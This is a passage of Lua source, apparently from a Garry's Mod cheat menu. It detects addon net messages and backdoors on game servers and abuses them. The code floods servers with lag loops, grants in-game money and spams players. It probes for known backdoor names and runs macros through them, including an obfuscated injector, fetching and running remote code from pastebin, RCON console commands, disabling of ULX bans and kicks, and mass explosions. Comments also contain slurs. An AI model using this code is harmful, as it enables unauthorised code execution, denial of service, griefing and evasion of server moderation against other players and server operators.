9142if (status) then
9143ECPrint("Found Exploit: Call all players [phone]")
9144addExploit( "269","Call all players", "discovered by questionmark", function()
9145surface.PlaySound("garrysmod/ui_click.wav")
9146ECNotify("Starting")
9147for k, v in pairs(player.GetAll()) do
9148net.Start("phone")
9149net.WriteTable{
9150ply=v,
9151act='call'
9152}
9153net.SendToServer()
9154end
9155end )
9156end
9157
9158status = ValidNetString("blueatm")
9159if (status) then
9160ECPrint("Found Exploit: Lagger #29 [blueatm]")
9161addExploit( "270","Lagger #29", "an exploit in the addon 'Blue ATM', discovered by Leith", function()
9162surface.PlaySound("garrysmod/ui_click.wav")
9163ECNotify("Starting")
9164timer.Create("lagger29", 0, 0, function()
9165for i = 1, 1000 do
9166net.Start("blueatm",true)
9167net.WriteEntity(LocalPlayer())
9168net.SendToServer()
9169end
9170end )
9171end )
9172end
9173
9174status = ValidNetString("cab_cd_testdrive")
9175if (status) then
9176ECPrint("Found Exploit: Stavox Teleport [cab_cd_testdrive]")
9177addExploit( "271","Stavox Teleport", "discovered by Aromatic", function()
9178surface.PlaySound("garrysmod/ui_click.wav")
9179ECNotify("Starting")
9180net.Start('cab_cd_testdrive')
9181net.WriteUInt(0, 3)
9182net.WriteUInt(5, 8)
9183net.SendToServer()
9184end )
9185end
9186
9187status = ValidNetString("cab_sendmessage")
9188if (status) then
9189ECPrint("Found Exploit: Stavox Message [cab_sendmessage]")
9190addExploit( "272","Stavox Message", "discovered by Aromatic", function()
9191surface.PlaySound("garrysmod/ui_click.wav")
9192ECNotify("Starting")
9193for k, v in pairs(player.GetAll()) do
9194net.Start("cab_sendmessage")
9195net.WriteEntity(v)
9196net.WriteString("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
9197net.SendToServer()
9198end
9199end )
9200end
9201
9202status = ValidNetString("disguise")
9203if (status) then
9204ECPrint("Found Exploit: Lagger #30 [disguise]")
9205addExploit( "273","Lagger #30", "discovered by Aromatic & Leith", function()
9206surface.PlaySound("garrysmod/ui_click.wav")
9207timer.Create("lagger30", 0, 0, function()
9208for i = 1, 1000 do
9209net.Start("disguise",true)
9210net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 32)
9211net.SendToServer()
9212end
9213end )
9214end )
9215end
9216
9217status = ValidNetString("FARMINGMOD_DROPITEM")
9218if (status) then
9219ECPrint("Found Exploit: Lagger #31 [FARMINGMOD_DROPITEM]")
9220addExploit( "274","Lagger #31", "discovered by Leith", function()
9221surface.PlaySound("garrysmod/ui_click.wav")
9222timer.Create("lagger31", 0, 0, function()
9223for i = 1, 1000 do
9224net.Start("FARMINGMOD_DROPITEM",true)
9225net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 16)
9226net.SendToServer()
9227end
9228end )
9229end )
9230end
9231
9232status = ValidNetString("SlotsRemoved")
9233if (status) then
9234ECPrint("Found Exploit: Lagger #32 [SlotsRemoved]")
9235addExploit( "275","Lagger #32", "an exploit in the addon 'PointShop 2 Perma Weapons', discovered by Leith", function()
9236surface.PlaySound("garrysmod/ui_click.wav")
9237timer.Create("lagger32", 0, 0, function()
9238for i = 1, 1000 do
9239net.Start("SlotsRemoved",true)
9240net.SendToServer()
9241end
9242end )
9243end )
9244end
9245
9246status = ValidNetString("AirDrops_StartPlacement")
9247if (status) then
9248ECPrint("Found Exploit: Lagger #33 [AirDrops_StartPlacement]")
9249addExploit( "276","Lagger #33", "an exploit in the addon 'PointShop 2 AirDrops', discovered by Dembi", function()
9250surface.PlaySound("garrysmod/ui_click.wav")
9251timer.Create("lagger33", 0, 0, function()
9252for i = 1, 1000 do
9253net.Start("AirDrops_StartPlacement",true)
9254net.SendToServer()
9255end
9256end )
9257end )
9258end
9259
9260status = ValidNetString("pp_info_send")
9261if (status) then
9262ECPrint("Found Exploit: Lagger #34 [pp_info_send]")
9263addExploit( "277","Lagger #34", "an exploit in the addon 'Perma Props',discovered by Leith", function()
9264surface.PlaySound("garrysmod/ui_click.wav")
9265timer.Create("lagger33", 0, 0, function()
9266for i = 1, 1000 do
9267net.Start("pp_info_send",true)
9268net.SendToServer()
9269end
9270end )
9271end )
9272end
9273
9274status = ValidNetString("IGS.GetPaymentURL")
9275if (status) then
9276ECPrint("Found Exploit: Lagger #35 [IGS.GetPaymentURL]")
9277addExploit( "278","Lagger #35", "an exploit in the 'IGS', discovered by Leith", function()
9278surface.PlaySound("garrysmod/ui_click.wav")
9279timer.Create("lagger35", 0, 0, function()
9280for i = 1, 1000 do
9281net.Start("IGS.GetPaymentURL",true)
9282net.WriteDouble(9999999999999999999999999999999999999999999999999999999999)
9283net.SendToServer()
9284end
9285end )
9286end )
9287end
9288
9289status = ValidNetString("fg_printer_money")
9290if (status) then
9291ECPrint("Found Exploit: Lagger #36 [fg_printer_money]")
9292addExploit( "279","Lagger #36", "an exploit in the 'FG Printers', discovered by Aromatic", function()
9293surface.PlaySound("garrysmod/ui_click.wav")
9294timer.Create("lagger36", 0, 0, function()
9295for i = 1, 1000 do
9296net.Start('fg_printer_money',true)
9297net.WriteEntity(LocalPlayer())
9298net.SendToServer()
9299end
9300end )
9301end )
9302end
9303
9304status = ValidNetString("tickbookpayfine")
9305if (status) then
9306ECPrint("Found Exploit: Lagger #37 [tickbookpayfine]")
9307addExploit( "280","Lagger #37", "an exploit in the 'Ticket Book', discovered by Aromatic", function()
9308surface.PlaySound("garrysmod/ui_click.wav")
9309timer.Create("lagger37", 0, 0, function()
9310for i = 1, 1000 do
9311net.Start("tickbookpayfine",true)
9312net.SendToServer()
9313end
9314end )
9315end )
9316end
9317
9318status = ValidNetString("BeginSpin")
9319if (status) then
9320ECPrint("Found Exploit: Lagger #38 [BeginSpin]")
9321addExploit( "281","Lagger #38", "an exploit in the 'Blue Unbox 2', discovered by Leith", function()
9322surface.PlaySound("garrysmod/ui_click.wav")
9323timer.Create("lagger38", 0, 0, function()
9324for i = 1, 1000 do
9325net.Start("BeginSpin",true)
9326net.SendToServer()
9327end
9328end )
9329end )
9330end
9331
9332status = ValidNetString("DuelRequestClient")
9333if (status) then
9334ECPrint("Found Exploit: Lagger #39 [DuelRequestClient]")
9335addExploit( "282","Lagger #39", "discovered by Leith", function()
9336surface.PlaySound("garrysmod/ui_click.wav")
9337timer.Create("lagger39", 0, 0, function()
9338for i = 1, 1000 do
9339net.Start("DuelRequestClient",true)
9340net.SendToServer()
9341end
9342end )
9343end )
9344end
9345
9346status = ValidNetString("ncpstoredoact")
9347if (status) then
9348ECPrint("Found Exploit: Lagger #40 [ncpstoredoact]")
9349addExploit( "283","Lagger #40", "an exploit in the addon 'NPC Store',discovered by Leith", function()
9350surface.PlaySound("garrysmod/ui_click.wav")
9351timer.Create("lagger40", 0, 0, function()
9352for i = 1, 1000 do
9353net.Start("ncpstoredoact",true)
9354net.SendToServer()
9355end
9356end )
9357end )
9358end
9359
9360status = ValidNetString("PermwepsNPCSellWeapon")
9361if (status) then
9362ECPrint("Found Exploit: Lagger #41 [PermwepsNPCSellWeapon]")
9363addExploit( "284","Lagger #41", "discovered by Leith", function()
9364surface.PlaySound("garrysmod/ui_click.wav")
9365timer.Create("lagger41", 0, 0, function()
9366for i = 1, 2000 do
9367net.Start("PermwepsNPCSellWeapon",true)
9368net.WriteString("")
9369net.SendToServer()
9370end
9371end )
9372end )
9373end
9374
9375status = ValidNetString("bitcoins_request_withdraw")
9376if (status) then
9377ECPrint("Found Exploit: Lagger #42 [bitcoins_request_withdraw]")
9378addExploit( "285","Lagger #42", "discovered by Leith", function()
9379surface.PlaySound("garrysmod/ui_click.wav")
9380timer.Create("lagger42", 0, 0, function()
9381for i = 1, 2000 do
9382net.Start("bitcoins_request_withdraw",true)
9383net.SendToServer()
9384end
9385end )
9386end )
9387end
9388
9389status = ValidNetString("bitcoins_request_turn_on")
9390if (status) then
9391ECPrint("Found Exploit: To include all bitcoin miners [bitcoins_request_turn_on]")
9392addExploit( "286","To include all bitcoin miners", "discovered by Leith", function()
9393surface.PlaySound("garrysmod/ui_click.wav")
9394ECNotify("Starting")
9395for k, v in pairs(ents.GetAll()) do
9396if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
9397net.Start("bitcoins_request_turn_on")
9398net.WriteEntity(v)
9399net.SendToServer()
9400end
9401end
9402end)
9403end
9404
9405status = ValidNetString("bitcoins_request_turn_off")
9406if (status) then
9407ECPrint("Found Exploit: Disable all bitcoin miners [bitcoins_request_turn_off]")
9408addExploit( "287","Disable all bitcoin miners", "discovered by Leith", function()
9409surface.PlaySound("garrysmod/ui_click.wav")
9410ECNotify("Starting")
9411for k, v in pairs(ents.GetAll()) do
9412if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
9413net.Start("bitcoins_request_turn_off")
9414net.WriteEntity(v)
9415net.SendToServer()
9416end
9417end
9418end)
9419end
9420
9421status = ValidNetString("NET_AM_MakePotion")
9422if (status) then
9423ECPrint("Found Exploit: Lagger #43 [NET_AM_MakePotion]")
9424addExploit( "288","Lagger #43", "discovered by Leith", function()
9425surface.PlaySound("garrysmod/ui_click.wav")
9426ECNotify("Starting")
9427timer.Create("lagger43", 0, 0, function()
9428for i = 1, 2000 do
9429net.Start('NET_AM_MakePotion',true)
9430net.WriteEntity(LocalPlayer())
9431net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 8)
9432net.SendToServer()
9433end
9434end )
9435end )
9436end
9437
9438status = ValidNetString("minigun_drones_switch")
9439if (status) then
9440ECPrint("Found Exploit: Lagger #44 [minigun_drones_switch]")
9441addExploit( "289","Lagger #44", "discovered by Solly", function()
9442surface.PlaySound("garrysmod/ui_click.wav")
9443ECNotify("Starting")
9444timer.Create("lagger44", 0.2, 0, function()
9445for i=1,2200 do
9446net.Start("minigun_drones_switch",true)
9447net.SendToServer()
9448end
9449end )
9450end )
9451end
9452
9453status = ValidNetString("CW20_PRESET_LOAD")
9454if (status) then
9455ECPrint("Found Exploit: Lagger #45 (u need cw2 weapon in hand) [CW20_PRESET_LOAD]")
9456addExploit( "290","Lagger #45", "(u need cw2 weapon in hand),discovered by Solly", function()
9457surface.PlaySound("garrysmod/ui_click.wav")
9458ECNotify("Starting")
9459timer.Create("lagger45", 0.2, 0, function()
9460if(LocalPlayer():GetActiveWeapon():GetClass():find("cw"))then
9461for i=1,2200 do
9462net.Start("CW20_PRESET_LOAD",true)
9463net.SendToServer()
9464end
9465end
9466end )
9467end )
9468end
9469
9470status = ValidNetString("SBP_addtime")
9471if (status) then
9472ECPrint("Found Exploit: Lagger #46 [SBP_addtime]")
9473addExploit( "291","Lagger #46", "discovered by Solly", function()
9474surface.PlaySound("garrysmod/ui_click.wav")
9475ECNotify("Starting")
9476timer.Create("lagger46", 0.3, 0, function()
9477for i=1,2200 do
9478net.Start("SBP_addtime",true)
9479net.SendToServer()
9480end
9481end )
9482end )
9483end
9484
9485status = ValidNetString("SBP_addtime")
9486if (status) then
9487ECPrint("Found Exploit: XP Booster [SBP_addtime]")
9488addExploit( "292","XP Booster", "discovered by Solly", function()
9489inputFrameExists = true
9490inputFrame = vgui.Create( "DFrame" )
9491inputFrame:SetTitle("Enter the number")
9492inputFrame:SetSize( 400, 75 )
9493inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
9494inputFrame:SetDraggable(false)
9495inputFrame:ShowCloseButton(true)
9496inputFrame:MakePopup()
9497inputFrame.Paint = function( self, w, h )
9498draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
9499end
9500local TextEntry = vgui.Create( "DTextEntry", inputFrame )
9501TextEntry:SetSize( 380, 30 )
9502TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
9503TextEntry:SetText( "100" )
9504TextEntry.OnEnter = function( self )
9505surface.PlaySound("garrysmod/ui_click.wav")
9506timer.Create("ofn", 0.2, 0, function()
9507for i=1,tonumber(self:GetText()) do
9508net.Start("SBP_addtime")
9509net.SendToServer()
9510end
9511inputFrame:SetVisible(false)
9512end )
9513end
9514end )
9515end
9516
9517status = ValidNetString("ts_buytitle")
9518if (status) then
9519ECPrint("Found Exploit: Lagger #47 [ts_buytitle]")
9520addExploit( "293","Lagger #47", "an exploit in the addon 'TitleStore'", function()
9521surface.PlaySound("garrysmod/ui_click.wav")
9522ECNotify("Starting")
9523timer.Create("lagger47", 0, 0, function()
9524for i=1,1000 do
9525net.Start("ts_buytitle",true)
9526net.WriteTable({})
9527net.WriteTable({})
9528net.WriteTable({})
9529net.SendToServer()
9530end
9531end )
9532end )
9533end
9534
9535status = ValidNetString("STLoanToServer") -- 212.92.101.152:27015
9536if (status) then
9537ECPrint("Found Exploit: MONEY HACK [STLoanToServer]")
9538addExploit( "294","MONEY HACK", "", function()
9539surface.PlaySound("garrysmod/ui_click.wav")
9540ECNotify("Starting")
9541for i=1,100 do
9542net.Start( "STLoanToServer" )
9543net.WriteInt(50000,32 )
9544net.SendToServer()
9545end
9546end )
9547end
9548
9549
9550status = ValidNetString("arcslots_monitortype")
9551if (status) then
9552ECPrint("Found Exploit: Lagger #48 [arcslots_monitortype]")
9553addExploit("295", "Lagger #48", "discovered by Aromatic", function()
9554surface.PlaySound("garrysmod/ui_click.wav")
9555ECNotify("Starting")
9556timer.Create("lagger48", 0, 0, function()
9557for i=1, 1000 do
9558net.Start("arcslots_monitortype")
9559net.SendToServer()
9560end
9561end )
9562end )
9563end
9564
9565status = ValidNetString("TCBDealerStore")
9566if (status) then
9567ECPrint("Found Exploit: 1tap server [TCBDealerStore]")
9568addExploit("296", "1tap server", "discovered by Aromatic", function()
9569surface.PlaySound("garrysmod/ui_click.wav")
9570ECNotify("Starting")
9571timer.Create("1tapz", 0, 0, function()
9572for i=1, 1000 do
9573net.Start("TCBDealerStore")
9574net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 32)
9575net.SendToServer()
9576end
9577end )
9578end )
9579end
9580
9581status = ValidNetString("TCBDealerSpawn")
9582if (status) then
9583ECPrint("Found Exploit: 1tap server [TCBDealerSpawn]")
9584addExploit("297", "1tap server", "discovered by Aromatic", function()
9585surface.PlaySound("garrysmod/ui_click.wav")
9586ECNotify("Starting")
9587timer.Create("1tapzz", 0, 0, function()
9588for i=1, 1000 do
9589net.Start("TCBDealerSpawn")
9590net.WriteString("sw_gokart")
9591net.WriteInt(1, 32)
9592net.WriteBool(false)
9593net.SendToServer(LocalPlayer())
9594end
9595end )
9596end )
9597end
9598
9599
9600
9601
9602
9603
9604
9605
9606
9607
9608
9609
9610
9611///////////////////////////////////////////// [OTHER] /////////////////////////////////////////////
9612
9613status = ValidNetString("EnterpriseWithdraw")
9614if (status) then
9615ECPrint("Found Exploit: ENTERPRISE FOUND! [EnterpriseWithdraw]")
9616addExploit( "1337","ENTERPRISE FOUND!", "discovered by Leith", function()
9617surface.PlaySound("garrysmod/ui_click.wav")
9618ECNotify("Starting")
9619net.Start("EnterpriseWithdraw")
9620net.WriteInt(100, 32)
9621net.SendToServer()
9622end )
9623end
9624
9625status = ValidNetString("SetPermaKnife")
9626if (status) then
9627ECPrint("Found Exploit: PERMA KNIFE FOUND [SetPermaKnife]")
9628addExploit( "1337","PERMA KNIFE FOUND", "PERMA KNIFE FOUND", function()
9629surface.PlaySound("garrysmod/ui_click.wav")
9630/*
9631function cockSucker(ply,cmd,args,argStr)
9632local ply = LocalPlayer()
9633
9634net.Start( "SetPermaKnife" )
9635 net.WriteString( string.TrimRight(argStr,".lua") )
9636net.SendToServer()
9637end
9638
9639concommand.Add("gibe_weapon",cockSucker)
9640*/
9641end )
9642end
9643
9644----------------------------------------------------------------------------------
9645-- for k, v in pairs(player.GetAll()) do
9646-- for k, v in pairs(ents.GetAll()) do
9647----------------------------------------------------------------------------------
9648-- if !timer.Exists("lagger") then
9649-- timer.Create("lagger", 0, 0, function()
9650-- for i = 1, 1000 do
9651-----------------------------
9652-- 9999999999999999999999999999999999999999999999999999999999
9653-- 0xFFFFFFF
9654--------------------------------------------------------------------------------------------------
9655--------------------------------------------------------------------------------------------------
9656--------------------------------------------------------------------------------------------------
9657
9658end
9659
9660concommand.Add('R8_Exploit',function()
9661R8_Menu()
9662end)
9663
9664
9665
9666
9667local BD = {}
9668netKey = "memeDoor"
9669BackdoorsFound = 0
9670
9671function ValidNetString(str)
9672 local status, error = pcall(net.Start, str)
9673
9674 return status
9675end
9676
9677BackDoor_net = {
9678 {
9679 NetWork = "Sandbox_ArmDupe"
9680 },
9681 {
9682 NetWork = "Sbox_darkrp"
9683 },
9684 {
9685 NetWork = "Sbox_itemstore"
9686 },
9687 {
9688 NetWork = "Ulib_Message"
9689 },
9690 {
9691 NetWork = "ULogs_Info"
9692 },
9693 {
9694 NetWork = "ITEM"
9695 },
9696 {
9697 NetWork = "R8"
9698 },
9699 {
9700 NetWork = "fix"
9701 },
9702 {
9703 NetWork = "Fix_Keypads"
9704 },
9705 {
9706 NetWork = "Remove_Exploiters"
9707 },
9708 {
9709 NetWork = "noclipcloakaesp_chat_text"
9710 },
9711 {
9712 NetWork = "_Defqon"
9713 },
9714 {
9715 NetWork = "_CAC_ReadMemory",
9716"nostrip"
9717 },
9718 {
9719 NetWork = "nocheat"
9720 },
9721 {
9722 NetWork = "LickMeOut"
9723 },
9724 {
9725 NetWork = "ULX_QUERY2"
9726 },
9727 {
9728 NetWork = "ULXQUERY2"
9729 },
9730 {
9731 NetWork = "MoonMan"
9732 },
9733 {
9734 NetWork = "Im_SOCool"
9735 },
9736 {
9737 NetWork = "Sandbox_GayParty"
9738 },
9739 {
9740 NetWork = "DarkRP_UTF8"
9741 },
9742 {
9743 NetWork = "oldNetReadData"
9744 },
9745 {
9746 NetWork = "memeDoor"
9747 },
9748 {
9749 NetWork = "BackDoor"
9750 },
9751 {
9752 NetWork = "OdiumBackDoor"
9753 },
9754 {
9755 NetWork = "SessionBackdoor"
9756 },
9757 {
9758 NetWork = "DarkRP_AdminWeapons"
9759 },
9760 {
9761 NetWork = "cucked"
9762 },
9763 {
9764 NetWork = "NoNerks"
9765 },
9766 {
9767 NetWork = "kek"
9768 },
9769 {
9770 NetWork = "ZimbaBackDoor"
9771 },
9772 {
9773 NetWork = "something"
9774 },
9775 {
9776 NetWork = "random"
9777 },
9778 {
9779 NetWork = "strip0"
9780 },
9781 {
9782 NetWork = "fellosnake"
9783 },
9784 {
9785 NetWork = "enablevac"
9786 },
9787 {
9788 NetWork = "idk"
9789 },
9790 {
9791 NetWork = "c"
9792 },
9793 {
9794 NetWork = "killserver"
9795 },
9796 {
9797 NetWork = "fuckserver"
9798 },
9799 {
9800 NetWork = "cvaraccess"
9801 },
9802 {
9803 NetWork = "rcon"
9804 },
9805 {
9806 NetWork = "rconadmin"
9807 },
9808 {
9809 NetWork = "web"
9810 },
9811 {
9812 NetWork = "jesuslebg"
9813 },
9814 {
9815 NetWork = "zilnix"
9816 },
9817 {
9818 NetWork = "??? ?D)?—?"
9819 },
9820 {
9821 NetWork = "disablebackdoor"
9822 },
9823 {
9824 NetWork = "kill"
9825 },
9826 {
9827 NetWork = ""
9828 },
9829 {
9830 NetWork = "DefqonBackdoor"
9831 }
9832}
9833
9834function checkbackdoors()
9835 for k, v in pairs(BackDoor_net) do
9836 if (ValidNetString(v.NetWork)) then
9837 BackdoorsFound = 1 + BackdoorsFound
9838 chat.AddText(Color(0, 0, 0, 125), "[R8]", Color(255, 255, 255), " Found Backdoor! - " .. v.NetWork)
9839 v.NetWork = backdoor
9840 end
9841 end
9842end
9843
9844BD.Backdoors = BD.Backdoors or {}
9845BD.CurrentBackdoor = "Generic"
9846
9847for k, v in pairs(BackDoor_net) do
9848 if (ValidNetString(v.NetWork)) then
9849 BD.BackdoorTypes = {
9850 ["Generic"] = {
9851 ["Code"] = "util.AddNetworkString( " .. v.NetWork .. " ) net.Receive( " .. v.NetWork .. ", function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
9852 ["Netkey"] = v.NetWork
9853 }
9854 }
9855 end
9856end
9857
9858checkbackdoors()
9859local netsss = net.Start
9860
9861function BD.IsMessagePooled(netmessage)
9862 local netfunc = netsss
9863
9864 return status
9865end
9866
9867local net = net
9868local ctxt = chat.AddText
9869
9870function BD.ChatText(message, col)
9871 ctxt(Color(195, 205, 255, 255), "[Blackdoor] ", col, message)
9872end
9873
9874function BD.PingBackDoors()
9875 local bds = {}
9876
9877 for k, v in pairs(BackDoor_net) do
9878 if BD.IsMessagePooled(tostring(v.NetWork)) then
9879 bds[k] = true
9880 end
9881 end
9882
9883 return bds
9884end
9885
9886concommand.Add("bd_refresh_backdoors", function()
9887 BD.Backdoors = BD.PingBackDoors()
9888end)
9889
9890function BD.BackdoorActive()
9891 return table.Count(BD.Backdoors) > 0
9892end
9893
9894BD.BDMacros = {
9895 ["Artillery Strike"] = {
9896 ["Type"] = 1,
9897 ["Code"] = [[if !bombstrike then
9898
9899hook.Add("Think", "lulz_bombstrike", function()
9900
9901local explode = ents.Create( "env_explosion" )
9902
9903local ps = Vector(math.random(-8000, 8000), math.random(-8000, 8000), math.random(-5000, 5000))
9904
9905local trc = {}
9906
9907trc.start = ps
9908
9909trc.endpos = ps + Vector( 0, 0, -99999)
9910
9911local tr = util.TraceLine(trc)
9912
9913if !tr.Hit then return end
9914
9915explode:SetPos( tr.HitPos )
9916
9917explode:Spawn()
9918
9919explode:SetKeyValue( "iMagnitude", "400" )
9920
9921explode:Fire( "Explode", 0, 0 )
9922
9923end)
9924
9925bombstrike = true
9926
9927else
9928
9929hook.Remove("Think", "lulz_bombstrike")
9930
9931bombstrike = false
9932
9933end]],
9934 ["Desc"] = "Explode the shit out of everything"
9935 },
9936 ["@ Inject SendLua Interface"] = {
9937 ["Type"] = 1,
9938 ["Code"] = [[
9939
9940 local ? = _G local ?? = ?['\115\116\114\105\110\103'] local ??? = ?['\98\105\116']['\98\120\111\114'] local function ???????(????) if ??['\108\101\110'](????) == 0 then return ???? end local ????? = '' for _ in ??['\103\109\97\116\99\104'](????,'\46\46') do ?????=?????..??['\99\104\97\114'](???(?["\116\111\110\117\109\98\101\114"](_,16),25)) end return ????? end ?[???????'6c6d7075'][???????'587d7d577c6d6e766b724a6d6b70777e'](???????'4b21')?[???????'777c6d'][???????'4b7c7a7c706f7c'](???????'4b21',function ()local false?=?[???????'5a76746970757c4a6d6b70777e'](?[???????'777c6d'][???????'4b7c787d4a6d6b70777e'](),???????'556c785a747d',false )if ?[???????'706a7f6c777a6d707677'](false?)then false?()end end )
9941
9942 ]],
9943 ["Desc"] = "You need this to use certain macros"
9944 },
9945 ["Announce centre screen"] = {
9946 ["Type"] = 1,
9947 ["Code"] = [[for k, v in pairs(player.GetAll()) do v:PrintMessage( HUD_PRINTCENTER, @1 ) end]],
9948 ["Desc"] = "Make an announcement in the centre of everybodys screen",
9949 ["NeedsParameters"] = 1
9950 },
9951 ["Rainbow chat spam"] = {
9952 ["Type"] = 1,
9953 ["Code"] = [[
9954
9955 if !timer.Exists( "lulz_chatspam" ) then
9956
9957 timer.Create( "lulz_chatspam", 0.5, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
9958
9959 else
9960
9961 timer.Remove( "lulz_chatspam" )
9962
9963 end]],
9964 ["Desc"] = "Spam rainbow chat for all players with the 1st parameter as the text",
9965 ["NeedsParameters"] = 1
9966 },
9967 ["Rainbow chat spam (Turbo)"] = {
9968 ["Type"] = 1,
9969 ["Code"] = [[
9970
9971 if !timer.Exists( "lulz_chatspam" ) then
9972
9973 timer.Create( "lulz_chatspam", 0.01, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
9974
9975 else
9976
9977 timer.Remove( "lulz_chatspam" )
9978
9979 end]],
9980 ["Desc"] = "Spam rainbow chat for all players with the 1st parameter as the text",
9981 ["NeedsParameters"] = 1
9982 },
9983 ["Unlock all doors"] = {
9984 ["Type"] = 1,
9985 ["Code"] = [[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("unlock", "", 0) end end]],
9986 ["Desc"] = ""
9987 },
9988 ["Toggle all doors"] = {
9989 ["Type"] = 1,
9990 ["Code"] = [[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("toggle", "", 0) end end]],
9991 ["Desc"] = ""
9992 },
9993 ["Broken Glass Symphony"] = {
9994 ["Type"] = 1,
9995 ["Code"] = [[
9996
9997 if !timer.Exists( "A true masterpiece" ) then
9998
9999 timer.Create( "A true masterpiece", 0.2, 0, function()
10000
10001 for _, p in pairs(player.GetAll()) do
10002
10003 p:EmitSound( "physics/glass/glass_largesheet_break"..math.random(1,3)..".wav", 100, math.random( 40, 180 ) )
10004
10005 end
10006
10007 end)
10008
10009 else
10010
10011 timer.Remove( "A true masterpiece" )
10012
10013 end]],
10014 ["Desc"] = "Beethoven's last hidden symphony, only rediscovered in 2017"
10015 },
10016 ["Yeah Baby"] = {
10017 ["Type"] = 1,
10018 ["Code"] = [[
10019
10020 if !timer.Exists( "porn" ) then
10021
10022 timer.Create( "porn", 0.3, 0, function()
10023
10024 for _, p in pairs(player.GetAll()) do
10025
10026 p:EmitSound( "vo/npc/female01/yeah02.wav", 100, math.random( 90, 120 ) )
10027
10028 end
10029
10030 end)
10031
10032 else
10033
10034 timer.Remove( "porn" )
10035
10036 end]],
10037 ["Desc"] = "YEAH BABY YEAH"
10038 },
10039 ["Street War"] = {
10040 ["Type"] = 1,
10041 ["Code"] = [[
10042
10043 if !timer.Exists( "cwar" ) then
10044
10045 timer.Create( "cwar", 1, 0, function()
10046
10047 for _, p in pairs(player.GetAll()) do
10048
10049 p:EmitSound( "ambient/levels/streetwar/city_battle"..math.random( 1, 19 )..".wav", 100, math.random( 90, 120 ) )
10050
10051 end
10052
10053 end)
10054
10055 else
10056
10057 timer.Remove( "cwar" )
10058
10059 end]],
10060 ["Desc"] = "For when you need more dakka"
10061 },
10062 ["Earthquake"] = {
10063 ["Type"] = 1,
10064 ["Code"] = [[
10065
10066 if !timer.Exists( "earthquake" ) then
10067
10068 timer.Create( "earthquake", 0.5, 500, function()
10069
10070 for _, p in pairs(player.GetAll()) do
10071
10072 p:SetPos( p:GetPos() + Vector( 0, 0, 1 ) )
10073
10074 p:SetVelocity( Vector( math.random( -50, 50 ), math.random( -50, 50 ), math.random( 100, 150 ) ) )
10075
10076 util.ScreenShake( p:GetPos(), 20, 1, 1, 100 )
10077
10078 p:EmitSound( "ambient/explosions/exp1.wav", 100, math.random( 60, 100 ) )
10079
10080 end
10081
10082
10083
10084 for _, e in pairs(ents.GetAll()) do
10085
10086 if e:GetPhysicsObject() and e:GetPhysicsObject():IsValid() then e:GetPhysicsObject():AddVelocity( Vector( math.random( -50, 50 ), math.random( -50, 50 ), math.random( 100, 150 ) ) ) end
10087
10088 end
10089
10090
10091
10092
10093
10094 end)
10095
10096 else
10097
10098 timer.Remove( "earthquake" )
10099
10100 end]],
10101 ["Desc"] = "For when you need more dakka"
10102 },
10103 ["Explode all vehicles"] = {
10104 ["Type"] = 1,
10105 ["Code"] = [[for k, v in pairs(ents.GetAll()) do if v:IsVehicle() then
10106
10107 local explo = ents.Create("env_explosion")
10108
10109 explo:SetPos(v:GetPos())
10110
10111 explo:SetKeyValue("iMagnitude", "300")
10112
10113 explo:Spawn()
10114
10115 explo:Activate()
10116
10117 explo:Fire("Explode", "", 0)
10118
10119 end
10120
10121 end]],
10122 ["Desc"] = ""
10123 },
10124 ["RCON command"] = {
10125 ["Type"] = 1,
10126 ["Code"] = [[game.ConsoleCommand( @1.."\n" )]],
10127 ["Desc"] = "Like having rcon access without actually having rcon access"
10128 },
10129 ["Lua run"] = {
10130 ["Type"] = 1,
10131 ["Code"] = [[@1]],
10132 ["Desc"] = "For running your dank luas"
10133 },
10134 ["Lua run from pastebin"] = {
10135 ["Type"] = 1,
10136 ["Code"] = [[http.Fetch( "@1", function( b, l, h, c ) RunString( b ) end, function() end )]],
10137 ["Desc"] = "Fetch and run code from a pastebin link ( remember to use raw you stupid faggot eg. https://pastebin.com/raw/fHeygLt9 )"
10138 },
10139 ["Destroy ULX Ban/Kick"] = {
10140 ["Type"] = 1,
10141 ["Code"] = [[ULib.Ban = function() return false end
10142
10143 ULib.addBan = function() return end
10144
10145 ULib.kick = function() return end]],
10146 ["Desc"] = "Completely break ulx ban and ulx kick so you can't be locked out of the server"
10147 },
10148 ------------------------ player targeted macros ------------------------
10149 ["Kill player"] = {
